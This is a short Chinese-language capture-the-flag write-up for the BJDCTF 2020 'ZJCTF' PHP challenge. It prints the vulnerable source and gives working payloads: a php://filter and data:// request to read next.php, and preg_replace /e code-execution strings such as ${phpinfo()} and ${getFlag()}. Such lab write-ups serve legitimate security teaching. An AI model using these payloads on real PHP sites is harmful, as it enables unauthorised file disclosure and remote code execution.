[BJDCTF 2020]ZJCTF,不过如此

发布于 13 天前  11 次阅读


[BJDCTF 2020]ZJCTF,不过如此

通过源码,首先要获取next.php的内容,这里使用php伪协议进行读取;

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php

}
else{
    highlight_file(__FILE__);
}
?>
使用伪协议获取next.php内容:
http://node4.anna.nssctf.cn:28780/?text=data://plain/text,I have a dream&file=php://filter/read=convert.base64-encode/resource=next.php

image-20240423171322547

进行base64解码:

image-20240423171406690

发现存在preg_replace /e模式下代码执行漏洞

通过 foreach 传参给 complex 函数, preg_replace在/e情况下存在漏洞,匹配成功则解析然后替换【preg_replace使用了 /e 模式,在该函数的第一个和第三个参数都是可控的,官方 payload 为:/?.*={${phpinfo()}},即GET方式传入的参数名为 /?.* ,值为 {${phpinfo()}},但是在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,导致我们正则匹配失效则,现在要做的就是换一个正则表达式,让其匹配到 {${phpinfo()}}即可执行phpinfo函数。这里提供一个payload :\S*=${phpinfo()}

获取flag:/next.php?\S*=${getFlag()}&&cmd=phpinfo();

Daniel_WRF
最后更新于 2024-04-23